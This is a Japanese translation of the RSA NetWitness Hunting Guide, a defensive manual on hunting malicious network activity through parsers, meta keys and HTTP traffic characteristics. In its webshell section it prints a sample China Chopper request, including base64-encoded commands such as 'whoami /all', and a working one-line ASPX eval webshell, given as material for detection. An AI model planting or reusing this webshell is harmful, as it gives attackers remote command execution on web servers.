ox0xo infosec tutorial

Netwitness Hunting Guide

2018-09-19

このトピックはRSA NetWitness Hunting Guideの和訳です。 正確ではない表現が含まれる可能性があるため、厳密な解説を必要とする場合は元の記事を参照してください。

前書き

RSA NetWitness Platformは、過去にSecurityAnalyticsと呼ばれていた次世代セキュリティ製品の後継です。 ネットワークトラフィックとログを取り込み、データに対して複数のロジックを適用し、カスタムデータベースに格納したメタデータを、統合されたビューでアナリストに提示します。 さらに、ホストベースのメモリフォレンジックツールであるECATと統合すると、ホストの挙動に関するメタデータが統合されたビューに表示されます。 ネットワークトラフィック、ログ、そしてホストの挙動を相関分析することにより、アナリストの分析結果を比類のないものにすることができます。 このガイドでは、悪意ある活動のパケットを調べるための戦術と手順について説明します。

NetWitnessはIDS/IPSまたはNetflowのような一般的なネットワークトラフィックベースのセンサーではありませんが、基本的な機能の一部は同様のコンセプトを持っています。 メタデータは、ネットワークセッション内の技術的側面または動作を記述するために生成されます。 セッションは、リクエストとレスポンスから成るトラフィックのストリームとして定義されます。 これらのセッションはキャプチャされた時間によって順序付けられ、アナリストが最初に意識すべきタイムスタンプを提供してくれます。 Netwitnessを扱う方法を理解する上で、データがどのように収集・生成されたかを知ることは不可欠です。

NetWitnessのメタデータは、IDS/IPSで使用されているようなシグネチャではなく、別の方法で処理すべきインジケータとみなす必要があります。 NetWitnessパーサーに含まれるロジックは、正規表現ベースのシグネチャよりもはるかに汎用性があります。 トラフィックを処理するパーサー、フィード、アプリケーションルールは、個々のセッションからデータ構造に関する値を抽出し、効率的に検索できるようにメタデータを生成します。 これはIDS/IPSソリューションとは異なり、未知の悪意あるアクティビティを見つけることが可能です。 シグネチャのようなパーサーも含まれていますが、そこではスクリプト言語Luaによる複雑なロジックを使用して判断しており、一般的なシグネチャベースの製品に比べて偽陽性率がはるかに低くなります。 このガイドでは、RSA Liveシステムによって提供されるコンテンツを使用して、未知の悪意あるアクティビティを捜すことに焦点を当てています。 既知の脅威を発見するシグネチャのようなパーサーの概要は含まれていません。

NetWitnessによるハンティングは、生成されたメタデータを選択することによって達成されます。 メタデータは、パーサーが不正侵入を分析し、マルウェアをリバースエンジニアリングし、攻撃によって生成されたトラフィックを分析することで生成されます。 RSA IRチームは2012年に設立されて以来多くの調査を行い、メタデータを組み合わせることで多くの事象を分析できるコンテンツを作成しました。 これにより脅威分析のために必要な工数が削減され、アナリストのパフォーマンスも向上します。 これによりIRチームは、攻撃に関する事前情報が無くともセキュリティインシデントを発見することができました。 また、IRチームはこれらの方法論とコンテンツを使用して、マルウェアではない正規のサービスを利用した攻撃を数多く検出しています。

NetWitnessによるネットワークトラフィックの分析は、セキュリティインシデント対応だけでなく、セキュリティポリシーの検証や改善にも利用できます。 このガイドは、既知の脅威に基づくアラートに反応するのではなく、未知の悪意のあるアクティビティを明らかにするアナリストを対象としています。

ハンティングパック

ハンティングパックは、パケットを分析してメタデータを付与することにより、脅威の可能性があるインジケータを素早く探し出せるように設計されています。 ハンティングパックは、以下のコンポーネントで構成されています。

  • インジケータが設定された一連のメタデータ(Meta Key)
  • Meta Keyをカテゴライズするためのメタグループ
  • ネットワークセッションを解読するLuaパーサー
  • RSA FirestWatchが提供するブラックリストや調査用のフィード
  • ハンティング関連のRSA NetWitnessルール
  • ハンティング関連のRSA NetWitnessレポート
  • Webshel​​lを検出するためのESAルール:このルールは、ある送信元と宛先の間で10分以内に3つのWebシェルが検出されたことを示します。
  • 拡張子がexeではないWindows実行ファイルを検出するためのルール

デプロイ

ハンティングパックに含まれるアイテムはNetwitness Liveシステムから入手・適用することができます。 次の点に注意してください。

  • 10.6.2以前のNetwitnessでは、ハンティングパックの他に netname、direction、ioc、boc、eoc、analysis.service、analysis.session、analysis.file のような一連の新しいメタキーも設定する必要があります。
  • trafflic_flow Luaパーサーは現時点ではLiveシステムでサポートされていません。
  • Netwitness Liveシステムを使用できない環境の場合は、ハンティングパックを手動で入手・適用する必要があります。

メタキー

Luaパーサが生成するメタキーは以下のとおりです。 Netwitness 10.6.2以降のバージョンを使っている場合は、パーサーを適用すればすぐにこれらのメタデータを利用できます。 それより古いバージョンを使っている場合は 備考:Hunting Content Pack Meta Keys を参照してください。

表示名 メタキー 書式 説明  
Behaviors of Compromise boc テキスト 疑わしい行為や不正な行為を示します。  
Enablers of Compromise eoc テキスト セキュリティ侵害につながる可能性がある貧弱な設定や運用上の弱点を示します。  
File Analysis analysis.file テキスト ファイルの特性とアノマリーを示します。  
Indicators of Compromise ioc テキスト 攻撃者によって侵害された痕跡を示します。  
Network Name netname テキスト 送信元や宛先に分かりやすい名前をタグ付します。これによりネットワークの探索がシンプルになります。  
Service Analysis analysis.service サービス テキスト アプリケーションプロトコルを識別します。
Session Analysis analysis.session テキスト クライアントとサーバ間の通信統計情報やセッション属性を示します。  
Traffic Flow Direction direction テキスト パケットを解析して通信の方向性(outbound, inbound, lateral)を示します。  

メタグループ

NetWitnessのメタデータをカスタマイズすることができます。 ハンティングを開始する前に、最初に設定する項目はメタグループです。 RSAはインシデント対応のためのメタグループを含むファイルのZIPを提供しています。 メタグループの展開については「調査:ユーザ定義のメタグループの管理」という項目の製品マニュアルの「メタグループのインポート」を参照してください。 メタキーのデフォルトの状態は「close」ですが、必要性に応じて各キーのデフォルトを「open」に変更することができます。

表示名 ファイル名 説明
Outbound HTTP Outbound_HTTP.jsn HTTPプロトコルに関連するメタキーを表示します。
Outbound SSL / TLS Outbound_SSL_TLS.jsn SSL/TLSプロトコルに関連するメタキーを表示します。

Luaパーサー

LiveシステムからHunting Pack Luaパーサーを導入することができます。 Live Search内で以下の一覧からパーサーを選択し、deployment または subscription のプロセスを選択します。

Luaパーサー一覧

表示名 説明
apt_artifacts WMIとWindowsレジストリ操作を検出します。
china_chopper chine_chopperの活動を検出します。
CustomTCP CustomTCPビーコン活動を検出します。C2ドメインと被害者のホスト名をalias.hostとして登録します。
DNS_verbose_lua DNSセッションを識別します。 レコードタイプを含むクエリとレスポンス、プロトコルエラーメッセージを登録します。
DynDNS ダイナミックDNSホストとサーバーを検出します。
fingerprint_java Java JARファイルとCLASSファイルを検出します。
HTTP_lua HTTPプロトコルのリクエストヘッダーおよびレスポンスヘッダーから値を抽出します。ICAPリクエストを解析します。
HTTP_lua_options HTTP_luaパーサーの動作に影響を与えます。 詳細はオプションファイルを参照してください。
ICMP ICMPのタイプとコードを抽出します。
IDN_homograph punycodeでコード化されたドメイン名を検出します。解析された文字列をanalysis.serviceメタとして登録します。すべての文字が等しく解析できるわけではありません。
JSON-RPC JSON-RPC 2.0ストリームを識別します。 JSON-RPC 1.0ストリームを識別せず、HTTPなどを介したJSON-RPCを識別しないことがあります。
MAIL_lua 電子メールメッセージからメールアドレス、件名、メールソフトなどの値を抽出します。
Mail_lua_options Mail_luaパーサーの動作に影響を与えます。詳細についてはオプションファイルを参照してください。
MSU_rat MSU RATの活動を検出します。
plugx PlugXの活動を検出します。
Poison_Ivy Poison Ivy RATの活動を検出します。
pvid PGV_PVIDマルウェアを検出します。 PGV_PVIDはアクターがマルウェアのPOSTルーチンに入れたクッキー文字列です。
RDP_lua Microsoftリモートデスクトッププロトコルを識別します。
rekaf rekafの亜種を検出し、マルウェアが暗号化に使うxor keyを取得します。
fingerprint_rtf_lua RTFファイルを検出します。
session_analysis 送信されたバイト数、受信されたバイト数、TCPフラグなどのセッション特性を分析します。
SMB_lua Microsoft SMB/CIFSのver1およびver2を解析します。
struts_exploit Struts2のRCE脆弱性を狙った攻撃を検出します。
supercmd SuperCMDビーコンを検出します。
TLD_lua ホスト名からトップレベルドメイン部分と第2レベルドメイン部分を抽出します。
TLD_lua_options TLD_luaパーサーの動作に影響を与えます。詳細はオプションファイルを参照してください。
TLS_lua SSL 2.0、SSL 3.0、TLS 1.0、TLS 1.1、およびTLS 1.2を識別します。
traffic_flow 内部ネットワークのサブネット名、およびセッションの方向性(インバウンド、アウトバウンド、ラテラル)を提供します。
traffic_flow_options traffic_flow Luaパーサーで使用するオプションファイルです。 内部サブネットを構成することができます。
windows_command_shell_lua Microsoft Windowsのコマンドシェルセッションを識別します。
windows_executable Windows実行ファイルを識別し、異常やその他の不審な特徴を分析します。
xor_executable_lua xorまたはhexエンコードされた実行可能ファイルを検出します。

オプションファイル

以下のLua Parserにはオプションファイルが提供されています。

  • HTTP_lua
  • Mail_lua
  • TLD_lua
  • traffic_flow
注意:RSAでは、オプションファイルをsubscribeしないことを強く推奨しています。
このファイルをダウンロードすると、それ以前に加えたすべての変更が上書きされてしまいます。

次の点に注意してください。

  • オプションファイルを配備する場合は、パーサーと同じディレクトリ /etc/netwitness/ng/parsers/ に設置してください。
  • パーサーはオプションファイルがなくても実行できます。 オプションファイルはデフォルトの設定を変更する場合のみ必要です。
  • オプションファイルが存在しない場合(またはオプションファイルが無効な場合)は、パーサーはデフォルト設定を使用します。
注意:パーサーは、デフォルトとカスタマイズされたオプションの両方を使用することはありません。
有効なオプションファイルが存在する場合、デフォルトの設定は使用されなくなります。

レポート

NetwitnessはHunting Packの一部として2つのレポートを提供しています。

  • サマリーレポート:以下のメタキーに従って分類されたイベントの概要を表示されます。
  • 詳細レポート:イベントの詳細が表示されます。
注:これは日次レポートとして実行する必要があります。
トラフィックデータのサイズに応じて情報量が変化するため、あまりに長い期間を分析しようとするとタイムアウトする可能性があります。

これらのレポートは、以下のメタキーに従って分類されたイベントに基づいています。

  • Indicators of Compromise
  • Behaviors of Compromise
  • Enablers of Compromise
  • Service Analysis
  • Session Analysis
  • File Analysis

ルール

前述のレポートは以下のルールに依存しています。

注:個々のルールをダウンロードまたは展開する必要はありません。
これらのルールはレポートの構成要素であるため、レポートを展開するときに同時に受信されます。

ハンティングサマリーレポートは、次のルールに依存しています。

  • Behaviors of Compromise:疑わしい動作や悪意のある動作を示します。
  • Enablers of Compromise:セキュリティインシデントを引き起こす可能性がある設定ミスや運用上の弱点を示します。
  • File Analysis:ファイルの特性とアノマリーを示します。
  • Indicators of Compromise:マルウェアシグネチャまたはC&Cに関連するIPやドメインを分析することで、ネットワークに侵入された可能性を示します。
  • Service Analysis:アプリケーションプロトコルを識別します。
  • Session Analysis:クライアントとサーバ間の通信統計情報やセッション属性を示します。

ハンティング詳細レポートは、次のルールに依存しています。 これらのルールは関連するメタデータをグループ化することで、効率的な分析の手がかりを提供します。

  • Behaviors of Compromise Detail
  • Enablers of Compromise Detail
  • File Analysis Detail
  • Indicators of Compromise Detail
  • Service Analysis Detail
  • Session Analysis Detail

トラフィックフローの識別

ネットワークトラフィックがどのようにNetWitnessによって処理され、ユーザーに表示されるかを理解することは重要です。 以下の図は、Decoderサービスがパケットをキャプチャし、それらを「ページ」と呼ばれるメモリにコピーする流れを示しています。 キャプチャされたパケットは、最初にパケットキャプチャプールに送られます。 そして、Assemblerによって新たなセッションの開始として扱われるか、すでに存在するセッションの一部としてパケットが追加されます。 NetWitnessはIPv4とIPv6を認識しており、セッションの最初のフレームを示すTCP SYNフラグをマークしています。 これによって通信がinboundなのかoutboundなのか、あるいはlateralなのか判別しています。

TCP以外のプロトコルや通信途中のパケットが、どこからどこへ送られたものなのかは、いくつかの基準によって決定されます。 これらの考慮事項は重み付けされており、Explorerインタフェース内のassembler.voting.weightsの値を変更することで調整できます。

  • 通信を開始するのはクライアントである
  • サーバーはクライアントよりも多くのデータを送信する
  • サーバーは通常、利用可能であれば、より低いポートを利用する
  • サーバーはRFC1918に該当しないIPアドレスを使う
  • 組織は、通常、静的IPアドレスと小さいIPオクテットを使用します

Assemblerによってセッションが開始されると、2つのカウンターがスタートします。 1つ目はセッションが開始されてから60秒間をカウントし、その間に解析されたパケットが一つのセッションとしてディスクに書き込まれます。 2つ目はセッションが開始されてから32MBのデータをカウントし、そのサイズに収まるパケットが一つのセッションとしてディスクに書き込まれます。 帯域が非常に狭く1セッションが60秒を超える環境では、この制約が問題になる場合があります。

Figure 1. NetWitness Decoder Capture and Processing

トラフィックの方向性

ネットワークから脅威を発見するには多くのノイズを処理しなければなりません。 パケットの再送、シングルサイドセッション、ペイロード無しのセッション、P2P通信などがあり、ここから目的のものを見つけ出すことは困難です。 そこで、まずは通信の方向性(outbound, inbound, lateral)を見極める必要があります。 traffic_flow.luaパーサは、デコーダ上のtraffic_flow_options.luaファイルの設定に基づいて通信の方向性を判断します。

このパーサーはRFC1918の定義に基づいてIPアドレス空間をGlobal IPとPrivate IPに分類します。 組織によってはIPsec VPNなどで一部のGlobal IPをPrivate IPと同等に扱うため、パーサーの定義ファイルにIPアドレスを追加することが望ましいでしょう。 次の表は、traffic_flow_options.luaファイルのデフォルトのメタデータを示しています。

方向性メタデータ 説明
inbound RFC1918ではない送信元からRFC1918の宛先への通信
outbound RFC1918の送信元からRFC1918ではない宛先への通信
lateral RFC1918の送信元からRFC1918の宛先への通信

セッション特性

Netwitnessはキャプチャされたセッションの特徴を分析し、セッション特性のメタデータを付与します。 セッション中にペイロードが送信された場合に、ストリームの数、セッションの存続期間、送信されたデータと受信されたデータの比率、などを組み合わせてメタデータが生成されます。 以下の表はSession Characteristicsメタカテゴリを示しています。 これらのメタキーはsession_analysis Luaパーサーによって生成されます。

セッション特性メタデータ 説明
single sided tcp シングルサイドTCP(応答が確認されない通信)
single sided udp シングルサイドUDP(応答が確認されない通信)
zero payload ペイロードが無いセッション
first carve 応答が確認されているペイロード有りのoutboundセッション
first carve not dns 応答が確認されているペイロード有りのoutboundセッション。かつDNSを除外したもの。
first carve not top 20 dst 応答が確認されているペイロード有りのoutboundセッション。かつAppleやMicrosoftのような有名な組織との通信を除外したもの。
long connection セッションの存続期間が50秒を超える接続。NetWitnessでの最大有効期間はデフォルトで60秒です
session size 0-5k リクエストとレスポンスのペイロード合計サイズが0KB~5KBのセッション
session size 5-10k リクエストとレスポンスのペイロード合計サイズが5KB~10KBのセッション
session size 10-50k リクエストとレスポンスのペイロード合計サイズが10KB~50KBのセッション
session size 50-100k リクエストとレスポンスのペイロード合計サイズが50KB~100KBのセッション
session size 100-250k リクエストとレスポンスのペイロード合計サイズが100KB~250KBのセッション
medium transmitted outbound outboundに送信されたペイロードサイズが1MB~4MBのセッション
high transmitted outbound outboundに送信されたペイロードサイズが4MBより多いセッション
ratio high transmitted 送受信されたデータの75%~100%がoutboundに送信されているセッション
ratio medium transmitted 送受信されたデータの26%~74%がoutboundに送信されているセッション
ratio low transmitted 送受信されたデータの0~25%がoutboundに送信されているセッション

このパーサーの働きによりトラフィックの方向性が分かり、アナリストは分析に集中できます。

なお、NetWitness Decoderサービスは、セッションの方向性に関する異常を検出・修正しません。 カウンターによって定められた範囲のパケットをセッションとして解釈し、IP/ポートの組み合わせによって単純に方向性を判断します。 したがって、別のセッションに含まれるべきパケットの断片が見つかることがありますが、これはアナリストが解釈する必要があります。 そのようなパケットは攻撃者による悪意ある活動を示すこともあります。 NetWitnessはフォレンジックツールであり、プロトコルに準拠していないデータを修正せずにそのまま提示します。

たとえば、DNS以外で組織内からインターネットに送信されるデータを分析したいときはfirst carve not dnsをクリックするだけです。 それだけで、脅威を分析する上で邪魔になるノイズの一部を取り除くことができます。 トロイの木馬に感染してC&C通信を行っているホストが、一般的なユーザー活動としてDNSリクエストを送信している場合に、このメタデータが役立ちます。

一方、インターネットから組織内への接続を探すには、組織のネットワークを熟知し、NetWitness Decoderの設置場所を考慮する必要があります。 必要な考慮事項は次のとおりです。

  • ロードバランサはありますか?
  • Web、アプリケーション、データベースなどのインバウンドWebサービスは、どのようにDMZ分割されていますか?
  • DMZのサーバーのIPアドレスは何ですか?
  • DMZのサーバーはNAT/PATを使用していますか?
  • DMZのサーバが受け取るパケットが、inbound, outbound, lateralのどれなのか区別することはできますか?
  • DMZのサーバは組織内のネットワークにアクセスできますか?

これを判断するときには、組織内のIPアドレスに加えて、次の条件でドリルダウンすることをお勧めします。 org.src exists && tcpflags = 'syn' これにより、インターネットから接続可能なホストへの通信を抽出することができます。 副作用として、処理中にデコーダによって分割されたセッションであることを示すメタデータ session.split と共に、多くのセッションが表示されます。 分割されたセッションは関連付けられて表示されます。

次に、org.dstメタデータから組織の名前を調べます。 この基本ドリルダウンを使用することで、前述の考慮事項(DMZのサーバがどうやってインターネットに接しているか)を読み取ることができます。

アナリストは、そこからさらに通信ノイズを除外するために、新たなメタデータを定義することができます。 推奨されるメタデータの分類は以下の通りです。

推奨される方向性ルールの分類
インターネットへのアウトバウンド通信
内部から内部へのコミュニケーション
インターネットからのインバウンド通信
SMTPの受信
DMZと内部の相互通信
VPN接続の受信
許可されたB2B通信

HTTPプロトコル分析

ハイパーテキスト転送プロトコルは、インターネット上で最も広く使用されているプロトコルの1つです。 ほとんどのSSL/TLS送信でさえ、単にHTTPをトンネリングするために使われており、実質的にHTTPだといえます。 Netwitnessでは膨大な量のHTTPセッションが分析されます。 Live Contentのパーサーとアプリケーションルールは、プロトコルの動作と技術的側面に重点を置いています。 HTTPの通信方法や、マルウェアが生成したHTTPトラフィック、ユーザーが生成したHTTPトラフィックを分析することで、アナリストは、組織における正常な通信と異常な通信を迅速に判断できるようになります。

一般的に攻撃者は、マルウェアの活動を通常のネットワーク通信に紛れ込ませ、できる限り気づかれないようにします。 マルウェアの通信はプログラマティックに構造化されており、分析によってその通信が明らかになれば、マルウェアとしてのビジネス価値は無きに等しいといえます。

マルウェアのビーコニングと似た挙動の、無害な一般ソフトウェアが多数存在することを忘れないでください。 例えば株価や天気を取得・表示するウィジェットの通信は、しばしばビーコニングと混同されます。 また、マルウェアはIDS/IPSを通過するために、一見正しく見える偽のHTTPヘッダを付与することがあります。

HTTP構造

HTTPには、0.9, 1.0, 1.1, SPDY, 2.0など、多くの異なるバージョンがまだ一般的に使用されています。 SPDYとHTTP/2.0を除いて、リクエストとレスポンスのヘッダー構造は基本的に同じです。 クライアントは、GET、POST、PUTなどのRequest Methodで始まり、パスとファイル名、HTTPバージョンが続き、最後に改行されます。 改行コードは16進数で0x0D 0x0Aです。 次の行からさまざまなHTTPヘッダーが続きます。 各ヘッダー名はコロン(:)と、1から2つのスペース(0x20)で区切られ、ヘッダー値が記載された後、最後に改行されます。 2重の改行コードが読み取られると、HTTPデーモンはヘッダーセクションが終了したことを認識し、その後に続く情報はHTTP Bodyとして解釈します。 HTTP Bodyがある場合は、Content-Lengthヘッダーが存在し、サイズも正しくなければなりません。

図2. HTTP GET構造は、HTTP GET要求と応答の基本構造の概要を示しています。 図3. HTTP POST構造は、HTTP POST要求と応答の基本構造の概要を示しています。

Figure 2. HTTP GET Structure

Figure 3. HTTP POST Structure

HTTPメソッド

HTTPメソッドとしてGET、POST、PUTなどの動詞が定義されています。 主なメソッドは9つですが、定義によってはWebDavのメソッドもここに含まれます。 最もよく使用されるメソッドはGETであり、一般的にPOSTの10倍は使用されます。 この比率は、重要な知見として後に利用します。

アナリストが脅威を分析するためには、HTTPヘッダ・BODYの構造に加えてHTTPメソッドも理解する必要があります。 以下の表は、一般的なHTTPメソッドを示しています。

メソッド 説明
GET サーバからリソースを取得する
POST サーバーにリソースを送信する
PUT ファイルなどのリソースをサーバーに保管する
HEAD 指定されたリソースを取得するが、HTTP Bodyは取得しない
DELETE サーバー上のリソースを削除する
TRACE HTTPリクエストを送信者に返す。プロキシ・MITMを検出するために利用される
OPTIONS サポートされているメソッドを示すようにサーバーに要求する
CONNECT HTTP経由で別のプロトコルをトンネルする
PATCH 指定されたリソースに部分的な変更を適用する

HTTP/1.1では、パイプラインと呼ばれる機能が導入されました。 以前のバージョンのHTTPでは、サーバーから要求されたすべてのリソースに対して新しいTCPセッションが開始されていました。 これでは、1ページに幾つものコンテンツが含まれる場合に、容易にサーバリソースを枯渇させる可能性があります。 パイプライン処理では、接続が維持されている限り、同じTCPセッションを再利用できます。 このためアナリストは、1つのHTTP/1.1セッションの中に、複数のメソッド、ファイル、その他のフィンガープリントを確認することができます。

ほとんどのマルウェアは、C2サーバに対して常時接続を行わず、素早くコンパクトなビーコニングを行います。 また、ビーコニング通信のHTTPヘッダーは4KB~8KBの短い記述であることが多く、常時接続のために必要な一般的なデータは含まれません。 これは私たちが探しているマルウェアの挙動の特徴です。 HTTP経由でデータを送信する際、多くのトロイの木馬はHTTP POSTメソッドを使用し、パイプライン要求の処理は気にしません。 これを念頭においた上で、以下のルールを使って通信ノイズを除外することができます。

注:次のメタデータがHTTP Luaパーサーに追加されました。
これらのキーはHTTP_lua_optionsファイルで拡張機能が有効になるまで機能しません。
拡張機能を有効化するためには、値を"false"から"true"に変更します。
サービス特性メタデータ 説明
http post no get HTTP POSTのみのセッション
http get no post HTTP GETのみのセッション
http post and get HTTP GETとPOSTから構成されるセッション
http connect HTTP CONNECTのみのセッション
post no get no referer リファラがないPOSTのみのセッション
post no get no referrer directotoip リファラがないIPアドレス直指定のPOSTのみのセッション

Webshel​​lsは、攻撃者がWebサーバー上でリモートでコマンドを実行できるようにするcgiプログラムです。 Webサーバ上の任意のディレクトリに配置されており、HTTPデーモンが実行できるあらゆる言語で実装できます。 または、正規のアプリケーションが、脆弱性によってWebShellとして利用されてしまうこともあります。 RSAは、Webサーバの正規のDLLを置き換えることで、WebShell機能を達成するトロイの木馬を観測したことがあります。

Webshel​​lsは、HTTPメソッドを使用してコマンドを実行するように設定できます。 コマンドは、HTTPヘッダー、URL、またはPOSTメソッドのBodyに含めることができます。 Webshel​​lのサイズは、1行から数千行まで様々です。 WebShellは使用されていないときに検出することは難しいですが、侵害されたWebサーバには高い確率で仕込まれています。

多くの一般的なWebシェルは、HTTP POSTのBodyに記述されたコードを受け取ります。 1つの例はChina Chopper webshel​​lです。 コマンド毎にペイロードが変更されており、明確なシグネチャの作成は困難です。 仮に対応できたとしても、シグネチャの条件が緩すぎて誤検出率が高くなります。

しかし、この通信は常時接続されておらず、コマンド毎に新しいセッションが作られます。 通信が暗号化されていなければ、direction = inboundおよびanalysis.service = http post no getをドリルダウンする事によって、マルウェアの通信を抽出することができます。 以下はそのような要求の例です。

POST /ftpadmin.aspx HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 248.192.237.178
Referer: http://ftp.example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: ftp.example.com
Content-Length: 1091
Connection: Close

cookie=Response.Write("->|");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("ßSNIPàk7")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgIkM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSAv
YWxsJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
<%@ Page Language="Jscript"%><%eval(Request.Item["cookie"],"unsafe");%>

HTTPヘッダ

http.luaパーサーは、HTTPサービスの分析を担当します。 http_lua_options.luaファイルを変更することにより、より複雑な解析を行うように構成することができます。 オプションには以下の内容が含まれます。

  • URLの全体を解析する
  • X-Forwarded-For HTTPヘッダーの登録
  • HTTPリファラーパスの解析と登録
  • HTTPヘッダーUser-Agentを解析して独自のメタデータにする
  • HTTPレスポンスコードを分かりやすい名前に解決する
  • HTTPヘッダーとその固有の値を解析する
  • HTTPヘッダーの順序に基づいて、ブラウザフィンガープリントを付ける

オプションを有効化するとその分時間がかかり、メタデータのサイズは増えます。 解析のために必要な情報量と、パーサーの処理にかかるコストのバランスをよく見極める必要があります。

これらのオプションを有効にしてパーサーをリロードすると、HTTPトラフィックの詳細な説明が表示されます。 パーサーは、リクエストのメソッドと構造に基づいてHTTPセッションを識別し、全てのヘッダーをメタデータとして追加します。

一般的に利用されるヘッダーではないユニークな値もメタデータとして追加されますが、それには索引付けされません。 NetWitnessでは、索引付けされた値のみが照会可能であり、索引が付かない値(ライフタイム、ストリーム、ペイロードなど)は照会できません。 そのような値を照会できるようにしたい場合は、シグネチャタイプのアプリケーションルールを記述して、索引付けられた新たなメタデータを付与する必要があります。

HTTP.luaパーサーによって生成されるメタデータは以下の通りです。

サービス特性メタデータ 説明
action リクエストメソッド( ‘get’ ‘post’など)
ad.computer.src NTLMSSP認証に含まれるホスト資格情報
ad.domain.src NTLMSSP認証に含まれるドメイン資格情報
ad.username.src NTLMSSP認証に含まれるユーザー資格情報
alert.id HTTPヘッダーの異常
alias.host HTTPリクエストに含まれるHostヘッダ
alias.ip ipv4リクエストに含まれるHostヘッダ
alias.ipv6 ipv6リクエストに含まれるHostヘッダ
attachment POSTリクエストで送信されたファイル名
client HTTPリクエストに含まれるUser-Agentヘッダ
content HTTPリクエストに含まれるContent-Typeヘッダ
directory リクエストディレクトリ
error レスポンスステータスコード(2xxでない場合)
extension リクエストファイルの拡張子
filename リクエストファイル名
language HTTPリクエストに含まれるlanguageヘッダ
orig_ip プロキシクライアントのIPアドレス
password Basic認証に含まれるパスワード認証情報
query HTTPリクエストに含まれるクエリ文字列
referer HTTPリクエストに含まれるREFERERヘッダ
server HTTPレスポンスに含まれるSERVERヘッダ
service 80
username Basic認証に含まれるユーザー認証情報
analysis.service (オプション)高度なhttp特性分析
ioc (オプション)高度な分析による侵害の指標
http.request (非標準)(オプション)リクエストヘッダーの種類
http.response (非標準)(オプション)レスポンスヘッダーの種類
req.uniq (非標準)(オプション)リクエストヘッダーの値
resp.uniq (非標準)(オプション)レスポンスヘッダーの値
url (非標準)(オプション)完全なリクエストURL

http.lua パーサーは、明示的なプロキシHTTPリクエストを識別し、そのメタデータをanalysis.serviceに登録します。 パーサーは、前述の http_lua_options.lua ファイルで設定されたキーによってUser-Agentを見つけて登録します。

これらの追加のパーサーを有効にしていれば、生成されたメタデータを使ってHTTP通信を詳細に分析できます。 例えば、最近のWebブラウザでは、リクエストを行うときに6つ以上のHTTPヘッダーが使用されます。 一般的に使用されるヘッダの例は Accept、Accept-Encoding、Accept-Language、Cache-Control、Connection、Host、Referer および User-Agent です。 このような知見を元にして、ユーザーが行った通信と、マルウェアによる通信を区別することができます。

サービス特性メタデータ 説明
two http headers 2つのHTTPヘッダー
three http headers 3つのHTTPヘッダー
four http headers 4つのHTTPヘッダー
four or less headers 4つ以下のHTTPヘッダー
six or less headers 6つ以下のHTTPヘッダー

たとえば、以下に表示されるトロイの木馬は、HTTP POSTメソッドを使用してC2にデータを送信します。 GETメソッドは、データを受信するために使用されます。 したがって、マルウェアが動作する時には2つのHTTPセッションが生成されます。

POSTメソッドはContent-Lengthヘッダーを必要とします。 青い矢印で示した通り、一応Content-Longthヘッダは存在しますが、送信されるデータサイズとは無関係に常に4096バイトが指定されています。 赤い矢印は、送信されるペイロードの開始位置を示していますが、明らかにこれは4096バイトのペイロードではありません。 http.lua パーサーのメタデータを使用して、このような異常な通信を効率的に探すルールを作成できます。

Figure 6. MSU Trojan Beacon

Service = 80 &&
http.request = ‘Content-Length’ &&
req.uniq = ‘4096’ &&
analysis.service = ‘six or less headers‘ &&
analysis.service != ‘four or less headers’ &&
size = L-4096

特定のマルウェアに応じたパーサーが存在しない場合は、アナリストが独自に作成したアプリケーションルールを、すぐにNetwitnessに適用することができます。 上記の例では、組織内にこのトロイの木馬のいくつかの亜種があり、すべてが異なるドメインに通信していました。 HTTPプロトコルをこの細かさで分析することで、アナリストはトロイの木馬の亜種をすぐに検出することができました。

ここまでに説明した内容は、既存のメタデータに基づいてIOCを作成する例を表しています。 これは従来のIDS/IPSのシグネチャとは違い、アナリストが通信内容を判断して、その結果に応じてメタデータを組み合わせる必要があります。 これは、すべての通信データを収集し、分析できるNetwitnessならではのメリットです。 IDS/IDPはデバイスにシグネチャが適用された以降のデータのパターンマッチングにフォーカスしています。

User-Agent

User-AgentはHTTPアクセスをするアプリケーションの識別子です。 インターネットエクスプローラの場合、一般的にオペレーティングシステムとそのブラウザの拡張機能がインストールされています。 トロイの木馬は、ハードコードされたUser-Agentを利用するか、またはWindowsレジストリからUser-Agentを読み込みます。 マルウェアによって使用される人気のあるUser-Agentが以下に表示されています。

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

このUser-Agentは、オペレーティングシステムがWindows XP 32ビットで、Internet Explorer 6.0でセキュリティセンターバージョン1のService Pack 2を実行していることを示しています。 このサービスパックは2004年にリリースされました。 実際のユーザーが10年以上前のオペレーティングシステムとブラウザを利用している可能性は非常に低いです。 このUser-AgentでWebリクエストを生成するアプリケーションは、人間によるものではなく、何らかの自動化されたものである可能性があります。

http.luaパーサは、選択したキーにメタデータを登録するように設定できます。 デフォルトでは、User-Agentメタデータはcluentキーに登録されます。 以下のロジックは、User-Agentを分類するために適用されます。 このタイプのパーサーは、Liveコンテンツ全体に存在しています。

サービス特性メタデータ 説明
http short user-agent 56バイト未満のUser-Agent
http long user-agent 56バイト以上76バイト未満のUser-Agent
http max length user-agent 256バイト以上のUser-Agent
http short user-agent ie ‘IE 3-11’を含む56バイト未満のUser-Agent
http no user-agent HTTPリクエストにUser-Agentは存在しません
http nonstandard mozilla Mozillaは含まれているが、バージョン3.0, 4.0、または5.0が含まれていないUser-Agent
http not good mozilla 標準のMozilla識別子のないUser-Agent
http java Java仮想マシンによって生成されるUser-Agent
http suspicious user-agent 共通の書式設定間違いを持つUser-Agent
http wget direct to ip 直接IPアドレスを指定しているwgetアプリケーション

ホスト名

DNSとドメイン名は、しばしばインターネットのバックボーンと呼ばれます。 rsa.comなどの覚えやすい表記は、レイヤ3ルーティングが可能なIPアドレスに解決されます。 また、C2でのトロイの木馬、ポート計算、アクションのシグナル通知などの悪意のある目的にも使用されます。 メタデータを使用してデータセットを分析する場合、アナリストは一般的にalias.hostを参照してトリアージを開始する必要があります。

